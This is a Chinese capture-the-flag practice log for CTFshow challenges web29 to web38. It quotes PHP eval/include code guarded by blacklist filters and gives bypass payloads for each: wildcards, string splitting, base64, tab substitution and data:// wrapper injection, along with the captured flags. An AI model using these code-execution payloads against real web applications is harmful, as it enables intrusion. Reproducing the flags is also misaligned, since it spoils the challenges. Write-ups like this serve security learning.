题目来源:CTFshow

练习时间:2026年2月4日

练习数量:10

⭐️ 01 web29

🚩flag:ctfshow{9bcc229d-a475-4c4a-a635-def2043c1af1}

💡hint:命令执行

🔧tool:dirsearch

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

PHP 代码执行题目,需要绕过过滤读取 flag。
首先要知道目录下有什么文件,可以传入c=passthru(“ls”);或c=system(“ls”); ?c=system(“ls -la”);
或者使用通用工具dirsearch:

dirsearch获取和使用方式
因此是需要访问flag.php文件

绕过过滤的方法:
方法1:使用通配符

?c=system("cat f*");
?c=system("cat fla?");
?c=system("cat f[!-f][!-l][!-a][!-g]*");

方法2:使用命令替换

?c=system("cat f""lag");
?c=system("cat f'la'g");
?c=system("cat f"."lag");
?c=system("cat f".$x."lag"); # 需要先定义$x

方法3:使用 base64

?c=eval(base64_decode("c3lzdGVtKCJjYXQgZmxhZy5waHAiKTs="));
# 解码后是:system("cat flag.php");

方法4:使用 include(如果flag是PHP文件)

?c=include("fl"."ag.php");
?c=show_source("fl"."ag.php");

方法5:通过变量传递

?c=$a="fla";$b="g";system("cat $a$b");

方法6:使用反引号执行命令

?c=echo `cat f*`;

Exp:

https://c5ce659a-6bce-4f52-8d22-6f0008e377ae.challenge.ctf.show/?c=system("tac%20fla*");

得到flag:


⭐️ 02 web30

🚩flag:ctfshow{28d0d833-a082-49b5-90a5-8574c8681bc6}

💡hint:命令执行

题目信息:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag、system、php
过滤了命令执行函数system,还可以用passthur()

Exp:

https://edb4d14f-431c-4858-828e-65b8c241fdcb.challenge.ctf.show/?c=passthru("tac%20fla*");

⭐️ 03 web31

🚩flag:ctfshow{28d0d833-a082-49b5-90a5-8574c8681bc6}

💡hint:命令执行

题目信息:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

更严格的过滤。flag|system|php|cat|sort|shell还有空格
还是可以用passthru。空格可以使用%09代替。cat可以用tac代替。

Exp:

https://91b62710-1f62-445b-b6e4-bf0e24abaa1c.challenge.ctf.show/?c=passthru("tac%09fla*");

⭐️ 04 web32

🚩flag:ctfshow{d19d26f9-022c-466d-a094-b1f68068d3dc}

💡hint:命令执行

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

Exp:

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

过滤规则禁用了括号(),但PHP在某些情况下允许省略函数调用的括号
include$_GET[1]等价于 include($_GET[1])
这是PHP的语言特性:某些控制结构和函数可以省略括号

?>结束PHP代码段
这样可以保证语法正确,避免解析错误

GET参数传递:
通过$_GET[1]参数传递要包含的内容
1=对应$_GET[1],值为后面的data://协议内容

data://- PHP支持的伪协议,可以直接在URI中包含数据
text/plain- 指定数据类型为纯文本
- 实际的PHP代码


⭐️ 05 web33

🚩flag:ctfshow{bccb4b7a-2b54-4397-89fa-0747f997fdea}

💡hint:命令执行

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

同样可以用上题的exp

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

⭐️ 06 web34

🚩flag:ctfshow{d3d4e5d9-6a28-44d3-b030-5718d2c602eb}

💡hint:命令执行

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

同样可以用上题的exp:

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

⭐ 07 web35

🚩flag:ctfshow{909c0544-f55d-4c38-94e6-db16f26d4de5}

💡hint:命令执行

同样可以用上题的exp:

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

⭐️ 08 web36

🚩flag:ctfshow{ecb2d3b1-2377-4716-b779-457aa8b09ce3}

💡hint:命令执行

这次把数字也过滤了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

把1换成a即可。

?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

⭐ 09 web37

🚩flag:ctfshow{5d7cf4ad-c66e-4ea2-8652-54aac73a6fcc}

💡hint:文件包含

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

相比于web29,是从eval($c);变成了include($c);
echo $flag;
eval($c)→ include($c)​ - 从代码执行变为文件包含

可以用

?c=data://text/plain,<?php system("tac fla*.php")?>

⭐ 10 web38

🚩flag:ctfshow{7b18bb00-5db5-4ce3-94c2-0c9f691d0ef5}

💡hint:文件包含

限制flag php file
同上

`?c=data://text/plain,<?=system("tac fla*")?>`

没有php,就用简化版的

今天先做这么多啦🎵~